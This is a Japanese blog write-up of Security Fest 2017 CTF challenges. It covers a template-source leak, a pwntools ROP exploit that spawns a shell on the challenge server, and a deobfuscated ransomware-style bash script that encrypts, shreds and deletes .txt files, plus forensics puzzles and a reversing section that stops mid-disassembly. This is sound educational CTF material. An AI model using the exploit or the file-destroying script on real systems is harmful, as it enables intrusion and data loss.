st98 の日記帳


[ctf] Security Fest 2017 の write-up

チーム Harekaze で Security Fest 2017 に参加しました。最終的にチームで 1660 点を獲得し、順位は得点 447 チーム中 10 位でした。うち、私は 10 問を解いて 1400 点を入れました。

以下、解いた問題の write-up です。

[Web 200] A temple jest

http://alieni.se:3003/ という URL が与えられました。ソースを見てみると以下のようになっていました。

<center><font size=12 color=red>Under construction       
  <br><img onclick="location='/render/404'"src=...></html <!-- fixed -->

/render/404 にアクセスすると以下のように表示されました。

404 is under construction...

/render/2-1 にアクセスすると以下のように表示されました。

1 is under construction...

2-1 という文字列ではなく 2-1 の計算結果が表示されました。

/render/10000000000000000000000000 にアクセスすると以下のように表示されました。

1e+25 is under construction...

どうやら JavaScript のようです。/render/arguments.callee にアクセスすると以下のように表示されました。


function anonymous(locals, escapeFn, include, rethrow
/**/) {
var __line = 1
  , __lines = &#34;&lt;%= arguments.callee %&gt; is under construction...&lt;%# ---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k} %&gt;&#34;
  , __filename = undefined;
try {
  var __output = [], __append = __output.push.bind(__output);
  with (locals || {}) {
    ; __append(escapeFn( arguments.callee ))
    ; __append(&#34; is under construction...&#34;)
  }
  return __output.join(&#34;&#34;);
} catch (e) {
  rethrow(e, __lines, __filename, __line, escapeFn);
}

} is under construction...
SCTF{m3m0ry_l34k_Schm3m0ry_l34k}

[Pwn 100] Puzzle palace

puzzle_palace.tar.gz が与えられます。展開すると libc.so.6_eea5f41864be6e7b95da2f33f3dec47f と README というファイルが出てきました。問題のバイナリは与えられていないようです。

README は

Yep you only get the libc, connect to the service and go for an adventure to get the rest.

という内容でした。サーバに接続してみましょう。

$ nc pwn.ctf.rocks 6666

The Puzzle Palace
===============
1) Go on an adventure to find the magic bytes!
2) Fight the evil wizard with the magic bytes!
3) Return home with shame

#> 1
You enter the Puzzle Palace!
A message glows brightly on the wall of this room [7F454C4602010100000000000000000003003E0001000000100A000000000000400000000000000038210000000000000000000040003800090040001B001A00]
Where to now adventurer?
1) Up
2) Down

#> 2
A message glows brightly on the wall of this room [0600000005000000400000000000000040000000000000004000000000000000F801000000000000F80100000000000008000000000000000300000004000000]
Where to now adventurer?
1) Up
2) Down
...

最初に 1 を入力し、次に 2 を入力し続けると問題のバイナリが得られそうです。スクリプトを書いてみましょう。

from pwn import *
s = remote('pwn.ctf.rocks', 6666)

s.recvuntil('#> ')
s.sendline('1')

res = ''
try:
  while True:
    s.recvuntil('A message glows brightly on the wall of this room [')
    line = s.recvline().strip()[:-1]
    res += line
    log.info(line)
    s.recvuntil('#> ')
    s.sendline('2')
except:
  with open('result.bin', 'wb') as f:
    f.write(res.decode('hex'))

s.close()

これで result.bin に問題のバイナリが保存されました。

バイナリを見ていると、以下のような処理がありました。

     edd:	ba 05 00 00 00       	mov    edx,0x5
     ee2:	48 8d 35 57 11 20 00 	lea    rsi,[rip+0x201157]        # 202040 <stdin+0x10>
     ee9:	bf 00 00 00 00       	mov    edi,0x0
     eee:	e8 c5 fa ff ff       	call   9b8 <_edata-0x201658> # read
     ef3:	0f b6 05 46 11 20 00 	movzx  eax,BYTE PTR [rip+0x201146]        # 202040 <stdin+0x10>
     efa:	0f be c0             	movsx  eax,al
     efd:	83 f8 32             	cmp    eax,0x32 # '2'
     f00:	74 24                	je     f26 <_edata-0x2010ea>
     f02:	83 f8 32             	cmp    eax,0x32 # '2'
     f05:	7f 07                	jg     f0e <_edata-0x201102>
     f07:	83 f8 31             	cmp    eax,0x31 # '1'
     f0a:	74 0e                	je     f1a <_edata-0x2010f6>
     f0c:	eb 4a                	jmp    f58 <_edata-0x2010b8>
     f0e:	83 f8 33             	cmp    eax,0x33 # '3'
     f11:	74 1f                	je     f32 <_edata-0x2010de>
     f13:	83 f8 5a             	cmp    eax,0x5a # 'Z'
     f16:	74 24                	je     f3c <_edata-0x2010d4>
     f18:	eb 3e                	jmp    f58 <_edata-0x2010b8>
     f1a:	b8 00 00 00 00       	mov    eax,0x0
     f1f:	e8 9a fd ff ff       	call   cbe <_edata-0x201352>
     f24:	eb 32                	jmp    f58 <_edata-0x2010b8>
     f26:	b8 00 00 00 00       	mov    eax,0x0
     f2b:	e8 01 ff ff ff       	call   e31 <_edata-0x2011df>
     f30:	eb 26                	jmp    f58 <_edata-0x2010b8>
     f32:	bf 00 00 00 00       	mov    edi,0x0
     f37:	e8 bc fa ff ff       	call   9f8 <_edata-0x201618> # exit
     f3c:	48 8b 05 3d 10 20 00 	mov    rax,QWORD PTR [rip+0x20103d]        # 201f80 <_edata-0x90>
     f43:	48 89 c6             	mov    rsi,rax
     f46:	48 8d 3d e3 04 00 00 	lea    rdi,[rip+0x4e3]        # 1430 <_edata-0x200be0> => "Woah, nice! You found the hidden 'system' libc address:%p!\n"
     f4d:	b8 00 00 00 00       	mov    eax,0x0
     f52:	e8 49 fa ff ff       	call   9a0 <_edata-0x201670> # printf
     f57:	90                   	nop
     f58:	e9 6f ff ff ff       	jmp    ecc <_edata-0x201144>

メニューには 1 ~ 3 の数字しかありませんでしたが、どうやら Z を入力すると system のアドレスを教えてくれるようです。

また、2 を入力した際には以下のような処理を行うようです。

     e31:	55                   	push   rbp
     e32:	48 89 e5             	mov    rbp,rsp
     e35:	48 83 ec 20          	sub    rsp,0x20
     e39:	48 c7 45 e0 00 00 00 	mov    QWORD PTR [rbp-0x20],0x0
     e40:	00 
     e41:	48 c7 45 e8 00 00 00 	mov    QWORD PTR [rbp-0x18],0x0
     e48:	00 
     e49:	c7 45 f0 00 00 00 00 	mov    DWORD PTR [rbp-0x10],0x0
     e50:	48 8d 3d 69 02 00 00 	lea    rdi,[rip+0x269]        # 10c0 <_edata-0x200f50> => "Hope you got those magic bytes ready!\nThe wizard points at you and starts yelling 'lightning bolt!'\nThis would be a good time use those magic bytes: "
     e57:	b8 00 00 00 00       	mov    eax,0x0
     e5c:	e8 3f fb ff ff       	call   9a0 <_edata-0x201670> # printf
     e61:	bf 00 01 00 00       	mov    edi,0x100
     e66:	e8 d5 fc ff ff       	call   b40 <_edata-0x2014d0>
     e6b:	ba 19 00 00 00       	mov    edx,0x19
     e70:	48 8d 35 e9 11 20 00 	lea    rsi,[rip+0x2011e9]        # 202060 <stdin+0x30>
     e77:	48 8d 3d e2 01 00 00 	lea    rdi,[rip+0x1e2]        # 1060 <_edata-0x200fb0> => "1337p0werOverWhelMing1337"
     e7e:	e8 fd fa ff ff       	call   980 <_edata-0x201690> # strcmp
     e83:	85 c0                	test   eax,eax
     e85:	75 29                	jne    eb0 <_edata-0x201160>
     e87:	48 8d 3d 32 03 00 00 	lea    rdi,[rip+0x332]        # 11c0 <_edata-0x200e50> => "Nice! Pwn the wizard with some ROP and ROLL now!: "
     e8e:	b8 00 00 00 00       	mov    eax,0x0
     e93:	e8 08 fb ff ff       	call   9a0 <_edata-0x201670> # printf
     e98:	48 8d 45 e0          	lea    rax,[rbp-0x20]
     e9c:	ba 37 13 00 00       	mov    edx,0x1337
     ea1:	48 89 c6             	mov    rsi,rax
     ea4:	bf 00 00 00 00       	mov    edi,0x0
     ea9:	e8 0a fb ff ff       	call   9b8 <_edata-0x201658> # read
     eae:	eb 16                	jmp    ec6 <_edata-0x20114a>
     eb0:	48 8d 3d 79 04 00 00 	lea    rdi,[rip+0x479]        # 1330 <_edata-0x200ce0> => "You utter the magic bytes but they are wrong and the evil wizard burns you to a crisp, GG!"
     eb7:	e8 cc fa ff ff       	call   988 <_edata-0x201688> # puts
     ebc:	bf 00 00 00 00       	mov    edi,0x0
     ec1:	e8 32 fb ff ff       	call   9f8 <_edata-0x201618> # exit
     ec6:	c9                   	leave  
     ec7:	c3                   	ret    

1337p0werOverWhelMing1337 を入力すれば次の入力に進むことができるようです。スタック BOF ができないか試してみましょう。

$ ./result.bin 

The Puzzle Palace
===============
1) Go on an adventure to find the magic bytes!
2) Fight the evil wizard with the magic bytes!
3) Return home with shame

#> 2
Hope you got those magic bytes ready!
The wizard points at you and starts yelling 'lightning bolt!'
This would be a good time use those magic bytes: 1337p0werOverWhelMing1337
Nice! Pwn the wizard with some ROP and ROLL now!: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

できました。あとは添付の libc と得られた system のアドレスを使って system("/bin/sh") を実行しましょう。

from pwn import *

offset_system = 0x45390
offset_pop_rdi = 0x21102 # pop rdi ; ret  ;  (535 found)
offset_binsh = 0x18c177 # "/bin/sh"

s = remote('pwn.ctf.rocks', 6666)

s.recvuntil('#> ')
s.sendline('Z')
s.recvuntil("Woah, nice! You found the hidden 'system' libc address:")
addr_system = int(s.recvuntil('!')[:-1], 16)
libc_base = addr_system - offset_system

s.sendline('2')
s.recvuntil('This would be a good time use those magic bytes: ')
s.sendline('1337p0werOverWhelMing1337')
s.recvuntil('Nice! Pwn the wizard with some ROP and ROLL now!: ')

payload = ''
payload += 'A' * 40
payload += p64(libc_base + offset_pop_rdi)
payload += p64(libc_base + offset_binsh)
payload += p64(addr_system)
s.sendline(payload)
s.interactive()

s.close()
$ python solve.py 
[+] Opening connection to pwn.ctf.rocks on port 6666: Done
[*] Switching to interactive mode
$ ls
chall
flag
redir.sh
$ cat flag
SCTF{1_4lwa4y5_h4t3d_w1zard5}
SCTF{1_4lwa4y5_h4t3d_w1zard5}

[Misc 100] Empty

empty.7z というファイルが与えられました。展開すると empty.pdf というファイルが出てきました。

pdf-parser に投げると以下のような結果になりました。

$ pdf-parser empty.pdf 
...
obj 1337 0
 Type: /Font
 Referencing: 12 0 R, 13 0 R

  <<
    /Type /Font
    /Subtype /TrueType
    /BaseFont /BAAAAA+LiberationSerif-Bold
    /FirstChar 0
    /LastChar 25
    /Widths [/Widths[83 67 84 70 123 115 116 114 52 110 103 51 95 111 98 106 51 99 116 95 99 104 114 95 49 110 95 112 108 52 49 110 95 115 49 116 51 125]
    /FontDescriptor 12 0 R
    /ToUnicode 13 0 R
  >>
...
$ python
Python 2.7.9 (default, Mar  1 2015, 12:57:24) 
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print ''.join(chr(int(x)) for x in '83 67 84 70 123 115 116 114 52 110 103 51 95 111 98 106 51 99 116 95 99 104 114 95 49 110 95 112 108 52 49 110 95 115 49 116 51 125'.split(' '))
SCTF{str4ng3_obj3ct_chr_1n_pl41n_s1t3}
SCTF{str4ng3_obj3ct_chr_1n_pl41n_s1t3}

[Misc 400] Unlocky

Unlocky.7z というファイルが与えられました。展開すると Unlocky.raw というファイルが出てきました。先頭 5 バイトは D2 BE D2 BE 08 で vmss ファイルであることが分かります。

問題名の Unlocky で検索すると以下のような文字列が見つかりました。

ACK="UEsDBBQAAAAIAIdDNkreOsnIJAMAAPMOAAAIABwASGVscC50eHRVVAkAAw1fhFg1X4RYdXgLAAEE6AMAAAToAwAA3VXNbtNAED63Ut5h1AsXGlE4IFWqkICWSyUQFCGOG2fTrJp4o107lTlFJQckitR1QsWBE+LIkSegb5InYX/s3bGTtBVSE4nV2LFnZ775ZnY8aWxubMDs8hPopX/sk/u1Mi70QTkBp8qRlXPTynFVOQ6g5d5IIyCHArNRsCgiTcqNPLiPvEvVoEomD6A5Uo8qAI5bsM/rieeGDyKKkFRFPXJ05gOqGi9V5zXxNR/jfBwxhZ29o/KsJkV4Nc+qSOlidnl+My9UDlWymjhGY+Q9wUT";B=6;C=4;X="x";XOR="-e";ZIPZ="v";D="-d";P="e";O="c";W="h";E="o";Q="m";ZZ="r";PLANET="mdaINhWQcIsf8TiipKdHEHQE70MakzTpcsE+6EE00Jg8ltBKExgIPmRtFh+DJmTGoCR9HYzpG4kiKqVB06AGSE9PhJJKDdOEI65rEHFjH9e3taoNfXJCLbIO5QFF2stwdqxJmyZMS8PYbDm0qa0FZDwV0GE9Ks0jxFSD621bfWKTlQMaMZ3sgEh5qsvQdGe0uFmn56XcXZtcOKmQuJ3nTz3zw9jf3vP/ZnvbGOrMyvfbYF5TiWkpd1eJb06WkvCrsfkXUEsBAh4DFAAAAAgAh0M2St46ycgkAwAA8w4AAAgAGAAAAAAAAQAAALSBAAAAAEhlbHAudHh0VVQFAAMNX4RYdXgLAAEE6AMAAAToAwAAUEsFBgAAAAABAAEATgAAAGYDAAAAAA==";IMPORT=$($P$O$W$E $XOR '\x73\x68\x72\x65\x64');M="n";S="i";DES="-a"$P"s";VEV="$ZZ$P$ZIPZ";RSA="exBWHk3ti1HYek55hKBF6VrkVEC0Al0sXt/7RlI+xfIakcZXrjJ7TD0ZtIATpwBqib8W9gxqgpM0lc5QaEFaSlhLFyz9z+vmshG/+DUrKaPv63bA/ppD3oi1YZ8m6pXCe2ut8NdXIrJUC1fPJYgukWD68sq7N6/g2Wrpr3AYfHb2djzwHNvwtrpfB0yX3FNM2Qkj/E2J5yyD8yjvfAgOYfcnDGO4MhqDMIZwS1YDm7Airt4xjMdoLRqhcjlD3+iZ6ZGFCHO0bLUSBJSlB9G1s8e1VdvQ8nd5xdv6n1wa6QfEp4v8YNpXMM5oIzXbrraMctO7q35IX9yfRPtZfdlnrt2qyXuwDDCwsskViMShlCwDB7hKxfbfliapAr6oACgLV9Ux0L0TiifFTtt4IXmlwdbuIR9POe1UP4HG531HzlLfnCIn1YDe5Mg3h288ZjufVClw3nwrf1R82S5CLgIolWut1Mb6gPqznI540I9vJF0GFAsp6ONjKgYXJDWSCxKiCUTMTvw7f2yz+gzoXoSmc";IN="1337$HOSTNAME$1";ENC=$(for ((i=0;i<${#IN};i++)); do printf %02X \'${IN:$i:1}; done); I28="256"; OR="SEVMUF9SZWFkbWUudHh0Cg==";NA="$X41$X42$X43";THE=$("$P$O$W$E" "$XOR" "$RSA" | "$VEV");NB="$X44$X45";A=$($P$O$W$E -e '\x62\x61');A1=$($P$O$W$E -e '\x73\x65');blaj="$A$A1$B$C";DIE="$("$P$O$W$E" "$XOR" "$OR" | "$blaj" "$D")";BASE85="$($P$O$W$E $XOR "\x6f\x70\x65\x6e\x73\x73\x6c")";"$P$O$W$E" "$XOR" "$NA$NB$JS$ALL1" | "$blaj" "$D";for Unlocky in $(ls *.txt); do $P$O$W$E $XOR "Encrypting "$Unlocky""; $BASE85 $P$M$O -$S$M $Unlocky -"$E"ut $Unlocky.$1 $XOR $DES"$I28" -k $ENC; $IMPORT $Unlocky; $ZZ$Q -f $Unlocky;done;$P$O$W$E $XOR $HACK$THE$PLANET | $A$A1$B$C $D | z"$O"at > $DIE

ACK を HACK に直して、シェルスクリプトとして整形すると以下のようになりました。

HACK="UEsDBBQAAAAIAIdDNkreOsnIJAMAAPMOAAAIABwASGVscC50eHRVVAkAAw1fhFg1X4RYdXgLAAEE6AMAAAToAwAA3VXNbtNAED63Ut5h1AsXGlE4IFWqkICWSyUQFCGOG2fTrJp4o107lTlFJQckitR1QsWBE+LIkSegb5InYX/s3bGTtBVSE4nV2LFnZ775ZnY8aWxubMDs8hPopX/sk/u1Mi70QTkBp8qRlXPTynFVOQ6g5d5IIyCHArNRsCgiTcqNPLiPvEvVoEomD6A5Uo8qAI5bsM/rieeGDyKKkFRFPXJ05gOqGi9V5zXxNR/jfBwxhZ29o/KsJkV4Nc+qSOlidnl+My9UDlWymjhGY+Q9wUT";
B=6;
C=4;
X="x";
XOR="-e";
ZIPZ="v";
D="-d";
P="e";
O="c";
W="h";
E="o";
Q="m";
ZZ="r";
PLANET="mdaINhWQcIsf8TiipKdHEHQE70MakzTpcsE+6EE00Jg8ltBKExgIPmRtFh+DJmTGoCR9HYzpG4kiKqVB06AGSE9PhJJKDdOEI65rEHFjH9e3taoNfXJCLbIO5QFF2stwdqxJmyZMS8PYbDm0qa0FZDwV0GE9Ks0jxFSD621bfWKTlQMaMZ3sgEh5qsvQdGe0uFmn56XcXZtcOKmQuJ3nTz3zw9jf3vP/ZnvbGOrMyvfbYF5TiWkpd1eJb06WkvCrsfkXUEsBAh4DFAAAAAgAh0M2St46ycgkAwAA8w4AAAgAGAAAAAAAAQAAALSBAAAAAEhlbHAudHh0VVQFAAMNX4RYdXgLAAEE6AMAAAToAwAAUEsFBgAAAAABAAEATgAAAGYDAAAAAA==";
IMPORT=$($P$O$W$E $XOR '\x73\x68\x72\x65\x64');
M="n";
S="i";
DES="-a"$P"s";
VEV="$ZZ$P$ZIPZ";
RSA="exBWHk3ti1HYek55hKBF6VrkVEC0Al0sXt/7RlI+xfIakcZXrjJ7TD0ZtIATpwBqib8W9gxqgpM0lc5QaEFaSlhLFyz9z+vmshG/+DUrKaPv63bA/ppD3oi1YZ8m6pXCe2ut8NdXIrJUC1fPJYgukWD68sq7N6/g2Wrpr3AYfHb2djzwHNvwtrpfB0yX3FNM2Qkj/E2J5yyD8yjvfAgOYfcnDGO4MhqDMIZwS1YDm7Airt4xjMdoLRqhcjlD3+iZ6ZGFCHO0bLUSBJSlB9G1s8e1VdvQ8nd5xdv6n1wa6QfEp4v8YNpXMM5oIzXbrraMctO7q35IX9yfRPtZfdlnrt2qyXuwDDCwsskViMShlCwDB7hKxfbfliapAr6oACgLV9Ux0L0TiifFTtt4IXmlwdbuIR9POe1UP4HG531HzlLfnCIn1YDe5Mg3h288ZjufVClw3nwrf1R82S5CLgIolWut1Mb6gPqznI540I9vJF0GFAsp6ONjKgYXJDWSCxKiCUTMTvw7f2yz+gzoXoSmc";
IN="1337$HOSTNAME$1";
ENC=$(for ((i=0;i<${#IN};i++)); do printf %02X \'${IN:$i:1}; done);
I28="256";
OR="SEVMUF9SZWFkbWUudHh0Cg==";
NA="$X41$X42$X43";
THE=$("$P$O$W$E" "$XOR" "$RSA" | "$VEV");
NB="$X44$X45";
A=$($P$O$W$E -e '\x62\x61');
A1=$($P$O$W$E -e '\x73\x65');
blaj="$A$A1$B$C";
DIE="$("$P$O$W$E" "$XOR" "$OR" | "$blaj" "$D")";
BASE85="$($P$O$W$E $XOR "\x6f\x70\x65\x6e\x73\x73\x6c")";
"$P$O$W$E" "$XOR" "$NA$NB$JS$ALL1" | "$blaj" "$D";
for Unlocky in $(ls *.txt); do
  $P$O$W$E $XOR "Encrypting "$Unlocky"";
  echo $ENC;
  $BASE85 $P$M$O -$S$M $Unlocky -"$E"ut $Unlocky.$1 $XOR $DES"$I28" -k $ENC;
  $IMPORT $Unlocky;
  $ZZ$Q -f $Unlocky;
done;
$P$O$W$E $XOR $HACK$THE$PLANET | $A$A1$B$C $D | z"$O"at > $DIE

難読化されていますが、重要そうな部分だけ抜き出してもう少し読みやすくしてみます。

IN="1337$HOSTNAME$1";
ENC=$(for ((i=0;i<${#IN};i++)); do printf %02X \'${IN:$i:1}; done);
for Unlocky in $(ls *.txt); do
  echo -e "Encrypting "$Unlocky"";
  echo $ENC;
  openssl enc -in $Unlocky -out $Unlocky.$1 -e -aes256 -k $ENC;
  shred $Unlocky;
  rm -f $Unlocky;
done;
echo -e $HACK$THE$PLANET | base64 -d | zcat > HELP_Readme.txt

$HOSTNAME とスクリプトに渡した第一引数から暗号化に使うパスワードを生成し、拡張子が .txt のファイルを openssl で暗号化しています。

使われたパスワードと暗号化されたフラグを探します。まず使われたパスワードについて、gibson で検索すると 1337gibsonUnlocky という文字列が見つかりました。

次に暗号化されたフラグについて、Salted__ で検索すると以下のファイルが見つかりました。

$ xxd flag.txt.Unlocky
0000000: 5361 6c74 6564 5f5f b5e0 2647 7df4 4e7f  Salted__..&G}.N.
0000010: cc65 e4c8 bb79 2b00 1d29 6f20 a2ec 1e6c  .e...y+..)o ...l
0000020: 3679 42de f165 3711 356c 7f7b eda1 7950  6yB..e7.5l.{..yP
0000030: 7bbc 3d4a 3ebb fef7 f44a bb76 dcc4 c4db  {.=J>....J.v....
$ IN="1337gibsonUnlocky";
$ ENC=$(for ((i=0;i<${#IN};i++)); do printf %02X \'${IN:$i:1}; done);
$ openssl enc -in flag.txt.Unlocky -d -aes256 -k $ENC;
SCTF{B4sh_0bfu5c4t10n_1s_n0t_h4rd_set-x-ftw}
SCTF{B4sh_0bfu5c4t10n_1s_n0t_h4rd_set-x-ftw}

[Misc 100] Pkware

pkware.7z というファイルが与えられました。展開すると pkware.zip というファイルが出てきました。

$ zipinfo pkware.zip 
Archive:  pkware.zip
Zip file size: 4688 bytes, number of entries: 26
-rw-rw-r--  3.0 unx       20 TX defN 17-May-27 17:24 10/A.txt
-rw-rw-r--  3.0 unx       31 TX defN 17-May-27 17:24 11/A.txt
-rw-rw-r--  3.0 unx       73 TX defN 17-May-27 17:24 12/A.txt
-rw-rw-r--  3.0 unx       20 TX defN 17-May-27 17:24 13/A.txt
-rw-rw-r--  3.0 unx       72 TX defN 17-May-27 17:24 14/A.txt
-rw-rw-r--  3.0 unx       31 TX defN 17-May-27 17:24 15/A.txt
-rw-rw-r--  3.0 unx       67 TX defN 17-May-27 17:24 16/A.txt
-rw-rw-r--  3.0 unx       68 TX defN 17-May-27 17:24 17/A.txt
-rw-rw-r--  3.0 unx       74 TX defN 17-May-27 17:24 18/A.txt
-rw-rw-r--  3.0 unx       20 TX defN 17-May-27 17:24 19/A.txt
-rw-rw-r--  3.0 unx       53 TX defN 17-May-27 17:24 1/A.txt
-rw-rw-r--  3.0 unx       74 TX defN 17-May-27 17:24 20/A.txt
-rw-rw-r--  3.0 unx       68 TX defN 17-May-27 17:24 21/A.txt
-rw-rw-r--  3.0 unx       33 TX defN 17-May-27 17:24 22/A.txt
-rw-rw-r--  3.0 unx       72 TX defN 17-May-27 17:24 23/A.txt
-rw-rw-r--  3.0 unx       65 TX defN 17-May-27 17:24 24/A.txt
-rw-rw-r--  3.0 unx       20 TX defN 17-May-27 17:24 25/A.txt
-rw-rw-r--  3.0 unx       26 TX stor 17-May-27 17:24 26/you-dont-need-a-password.txt
-rw-rw-r--  3.0 unx       43 TX defN 17-May-27 17:24 2/A.txt
-rw-rw-r--  3.0 unx       54 TX defN 17-May-27 17:24 3/A.txt
-rw-rw-r--  3.0 unx       46 TX defN 17-May-27 17:24 4/A.txt
-rw-rw-r--  3.0 unx       20 TX defN 17-May-27 17:24 5/A.txt
-rw-rw-r--  3.0 unx       64 TX defN 17-May-27 17:24 6/A.txt
-rw-rw-r--  3.0 unx       34 TX defN 17-May-27 17:24 7/A.txt
-rw-rw-r--  3.0 unx       74 TX defN 17-May-27 17:24 8/A.txt
-rw-rw-r--  3.0 unx       34 TX defN 17-May-27 17:24 9/A.txt
26 files, 1256 bytes uncompressed, 166 bytes compressed:  86.8%

ファイルのサイズをディレクトリ名でソートすると 53 43 54 46 20 64 34 74 34 20 31 73 20 72 31 67 68 74 20 74 68 33 72 65 20 26 になります。これを hex デコードすると SCTF d4t4 1s r1ght th3re & が出てきました。

SCTF{d4t4_1s_r1ght_th3re}

[Misc 200] Qr code madness

qrcodemadness.7z というファイルが与えられました。展開すると 7.png、15.png、71.png … と飛び飛びのファイル名の大量の QR コードが出てきました。

更新日時が古い順にソートして読み込むと、base64 エンコードされたフラグが得られました。

from subprocess import *
files = ['971.png', '958.png', '927.png', '919.png', '917.png', '905.png', '880.png', '867.png', '799.png', '777.png', '776.png', '758.png', '750.png', '738.png', '71.png', '703.png', '697.png', '642.png', '636.png', '626.png', '606.png', '565.png', '563.png', '552.png', '540.png', '525.png', '509.png', '508.png', '495.png', '473.png', '398.png', '385.png', '376.png', '289.png', '288.png', '270.png', '268.png', '227.png', '223.png', '218.png', '204.png', '183.png', '177.png', '173.png', '152.png', '133.png', '1268.png', '1250.png', '1201.png', '1195.png', '1194.png', '1183.png', '1154.png', '1099.png', '1090.png', '1082.png', '1058.png', '1004.png', '995.png', '1307.png', '1333.png', '1138.png', '1131.png', '7.png', '678.png', '764.png', '246.png', '828.png', '1220.png', '511.png', '673.png', '544.png', '498.png', '194.png', '787.png', '657.png', '572.png', '442.png', '99.png', '910.png', '124.png', '325.png', '618.png', '254.png', '1253.png', '1242.png', '543.png', '481.png', '555.png', '1199.png', '577.png', '1215.png', '292.png', '977.png', '1091.png', '287.png', '421.png', '94.png', '786.png', '931.png', '389.png', '357.png', '127.png', '1324.png', '1093.png', '1044.png', '945.png', '222.png', '876.png', '15.png', '1142.png', '732.png', '387.png', '189.png']
res = ''
for file in files:
  p = Popen(['zbarimg', 'qrcodemadness/' + file], stdout=PIPE, stderr=PIPE)
  o, e = p.communicate()
  res += o[8]
print repr(res[2:].decode('base64'))
$ python2 t.py
"\xfb\x8d3\xa8i\xa5-'H'XX\xdcB\xa8O\x0b+\xc5jd\x88\x0c\x9b=u=\x0e>oy\x15A\x1d\xf1`\xea\xebL\xed\t\xdcSCTF{Th3s3_d4mn_QR_c0d3_k33p_p0p1ng_up}\n"
SCTF{Th3s3_d4mn_QR_c0d3_k33p_p0p1ng_up}

[Misc 50] I heart cats

badhtml.tar.gz というファイルが与えられました。展開すると index.html と page/index.html、page/ 下に数枚の猫の画像が出てきました。

page/index.htmlをエディタで見ると、タブとスペースが不自然に混ざっていました。タブを 1、スペースを 0 として、2 進数として読むとフラグが得られました。

import re
s = open('page/index.html').read()
m = re.findall(r' {8}|\t', s)
t = ''.join({1: '1', 8: '0'}[len(x)] for x in m)
print hex(int(t, 2))[2:-1].decode('hex')
$ python2 s.py
SCTF{Wh1735p4c35_4r3_84d_4u!}
SCTF{Wh1735p4c35_4r3_84d_4u!}

[Rev 100] Signal

signal.tar.gz というファイルが与えられました。展開すると signal というファイルが出てきました。

$ file ./signal 
./signal: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c14208b847a2fcc05f8e3478370993cbda26a80a, stripped
$ ./signal 
hoge
u loose)))

バイナリを調べていると、以下のような関数がありました。

 a52:	55                   	push   rbp
 a53:	48 89 e5             	mov    rbp,rsp
 a56:	48 81 ec 80 01 00 00 	sub    rsp,0x180
 a5d:	64 48 8b 04 25 28 00 	mov    rax,QWORD PTR fs:0x28
 a64:	00 00 
 a66:	48 89 45 f8          	mov    QWORD PTR [rbp-0x8],rax
 a6a:	31 c0                	xor    eax,eax
 a6c:	41 b9 00 00 00 00    	mov    r9d,0x0
 a72:	41 b8 ff ff ff ff    	mov    r8d,0xffffffff
 a78:	b9 22 00 00 00       	mov    ecx,0x22
 a7d:	ba 07 00 00 00       	mov    edx,0x7
 a82:	be 00 10 00 00       	mov    esi,0x1000
 a87:	bf 00 00 00 00       	mov    edi,0x0
 a8c:	e8 bf fd ff ff       	call   850 <mmap@plt>
 a91:	48 89 85 98 fe ff ff 	mov    QWORD PTR [rbp-0x168],rax
 a98:	c7 85 8c fe ff ff 00 	mov    DWORD PTR [rbp-0x174],0x0
 a9f:	00 00 00 
 aa2:	48 8d 95 b0 fe ff ff 	lea    rdx,[rbp-0x150]
 aa9:	48 8d 05 78 02 00 00 	lea    rax,[rip+0x278]        # d28 <fork@plt+0x458>
 ab0:	b9 27 00 00 00       	mov    ecx,0x27
 ab5:	48 89 d7             	mov    rdi,rdx
 ab8:	48 89 c6             	mov    rsi,rax
 abb:	f3 48 a5             	rep movs QWORD PTR es:[rdi],QWORD PTR ds:[rsi]
 abe:	48 89 f0             	mov    rax,rsi
 ac1:	48 89 fa             	mov    rdx,rdi
 ac4:	8b 08                	mov    ecx,DWORD PTR [rax]
 ac6:	89 0a                	mov    DWORD PTR [rdx],ecx
 ac8:	48 8d 52 04          	lea    rdx,[rdx+0x4]
 acc:	48 8d 40 04          	lea    rax,[rax+0x4]
 ad0:	0f b7 08             	movzx  ecx,WORD PTR [rax]
 ad3:	66 89 0a             	mov    WORD PTR [rdx],cx
 ad6:	48 8d 52 02          	lea    rdx,[rdx+0x2]
 ada:	48 8d 40 02          	lea    rax,[rax+0x2]
 ade:	0f b6 08             	movzx  ecx,BYTE PTR [rax]
 ae1:	88 0a                	mov    BYTE PTR [rdx],cl
 ae3:	48 8d 52 01          	lea    rdx,[rdx+0x1]
 ae7:	48 8d 40 01          	lea    rax,[rax+0x1]
 aeb:	48 b8 05 05 37 13 be 	movabs rax,0xfeedbabe13370505
 af2:	ba ed fe 
 af5:	48 89 85 a0 fe ff ff 	mov    QWORD PTR [rbp-0x160],rax
 afc:	c7 85 90 fe ff ff 3e 	mov    DWORD PTR [rbp-0x170],0x13e
 b03:	01 00 00 
 b06:	c7 85 8c fe ff ff 00 	mov    DWORD PTR [rbp-0x174],0x0
 b0d:	00 00 00 
 b10:	eb 4d                	jmp    b5f <fork@plt+0x28f>
 b12:	8b 85 8c fe ff ff    	mov    eax,DWORD PTR [rbp-0x174]
 b18:	48 98                	cdqe   
 b1a:	0f b6 b4 05 b0 fe ff 	movzx  esi,BYTE PTR [rbp+rax*1-0x150]
